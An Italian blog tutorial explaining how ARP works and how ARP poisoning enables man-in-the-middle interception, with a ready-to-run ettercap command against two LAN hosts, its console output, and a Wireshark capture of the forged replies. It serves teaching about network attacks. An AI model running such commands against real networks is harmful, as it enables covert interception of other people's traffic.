ARP (Addres Resolution Protocol) Poisoning
Anche se ogni macchinadi internet ha uno o più indizizzi IP, questi non possono essere usati per inviare pacchetti perchè l’hardware che opera a livello datalink non è a conoscenza degli indirizzi IP.
Ogni scheda Ethernet ha associato un indirizzo a 48 bit chiamato MAC address. Le schede comunicano tra loro utilizzando tale indirizzo.
L’associazione tra IP e MAC Address avviene al momento della comunicazione tra glio host. Quando l’host A ha bisogno di inviare un pacchetto all’host B controlla se l’IP di B è nella sua stessa sottorete e se è cosi’ invia un messaggio in broadcast a tutta la sottorete per chiedere il MAC di B. A tale richiesta risponderà solo B. Il protocollo per effettuare tale comunicazioni è chiamato ARP.
Per utilizzare ARP in modo efficiente vengono attuate delle ottimizzazioni. Una volta ottenuto l’indirizzo di un host esso viene salvato in una cache, in questo modo non sarà effettuata nessuna richiesta ARP alla comunicazione con tale host.Ogni macchina invia in Broadcast la propria associazoine una volta collegata alla rete, in questo modo ogni host avrà in cache l’indirizzo della macchina appena collegata.
Purtroppo le associazioni non sono valide per sempre, ciò comporta che i valori nelle chache scadono e nuove domande ARP dovranno essere effettuate.
Il protocollo ARP non è progettato per ambienti ostili e manca di un meccaniscmo di autenticazione. Tale mancanza consente di effettare un’attacco chiamato ARP Poisoning, con il quale è possibile intercettare pacchetti destinati ad altri host.
Si immagini una reto con due host, uno in possesso dell’attaccante ed l’altro in possosesso della vittima, ed un nodo che funge da gateway. L’attaccante può inviare alla vittima una ARP reply fabbricata con l’associazione (IP.Gateway, Mac:Attaccante) ed un’altra al gateway con l’associazione (IP.Vittima, Mac:Attaccante). Dopo aver ricevuto tali pacchetti la vittima ed il gateway aggiorneranno le proprie cache con gli indirizzi forniti dall’attaccante che riceverà sia i pacchetti inviati che quelli ricevuti dalla vittima. Inoltre per non farsi scoprire potrà reinoltrare i pacchetti senza bloccare la comunicazzione.
Il tipo di attacco descritto è implementato nel software ettercap. Vediamo come intercettare il traffico tra l’host 192.168.1.10 e l’host 192.168.1.254 con questo programma:
# ettercap -T -M ARP /192.168.1.10/ /192.168.1.254/
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> MALLORY:MAC:ADDR 192.168.1.100 255.255.255.0
...
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.10 VICTIM:MAC:ADDR
GROUP 2 : 192.168.1.254 GATEWAY:MAC:ADDR
Starting Unified sniffing...
Con l’opzione -T si dice al programma di usare la console come interfaccia con l’utente e con -M si indica di reinoltrare i pacchetti intercettati.
Utilizzando Whireshark durante l’operazione di ARP poisoning possiamo osservare il seguente traffico ARP:
Source Destination Type Description
RealtekS Broadcast ARP Who has 192.168.1.10? Tell 192.168.1.100
RealtekS Broadcast ARP Who has 192.168.1.254? Tell 192.168.1.100
BillionE RealtekS ARP 192.168.1.254 is at GATEWAY:MAC:ADDR
Nokia_80 RealtekS ARP 192.168.1.10 is at VICTIM:MAC:ADDR
RealtekS Nokia_80 ARP 192.168.1.254 is at MALLORY:MAC:ADDR
RealtekS BillionE ARP 192.168.1.10 is at MALLORY:MAC:ADDR
Posted in Tutorial | No Comments »
RSS
ATOM